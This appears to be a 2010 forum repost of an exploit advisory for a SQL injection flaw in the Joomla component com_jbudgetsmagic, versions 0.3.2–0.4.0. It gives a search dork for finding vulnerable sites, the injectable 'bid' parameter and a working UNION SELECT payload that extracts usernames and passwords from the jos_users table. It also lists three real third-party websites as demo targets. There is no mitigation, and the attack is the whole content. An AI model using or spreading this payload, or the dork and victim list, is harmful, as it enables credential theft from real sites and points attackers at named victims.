Joomla com_jbudgetsmagic SQL injection vulnerability (bid)

nga **system K1LL3r** Wed Jan 27, 2010 7:47 pm

Kodi:: [ Author ] : kaMtiEz ## Joomla com_jbudgetsmagic SQL injection vulnerability (bid) ## [ Software Information ] [+] Vendor : http://www.sopinet.com/ [+] Download : http://www.sopinet.com/jbudgetsmagic/ [+] version : 0.3.2 - 0.4.0 [+] Vulnerability : SQL injection [+] Dork : inurl:"com_jbudgetsmagic" ################################################## ################################################## ######### [ Vulnerable File ] http://127.0.0.1/index.php?option=co...=mybudget&bid=[SQL] [ Exploit ] 9999+union+select+1,2,3,4,concat_ws(0x3a,username, password),6,7,8,9,10+from+jos_users-- [ Demo ] http://www.graha-nusantara.com/index...om+jos_users-- http://www.styleprefabricados.com/in...om+jos_users-- http://www.joomlasitedesigner.com/in...om+jos_users-- ################################################## ################################################## #########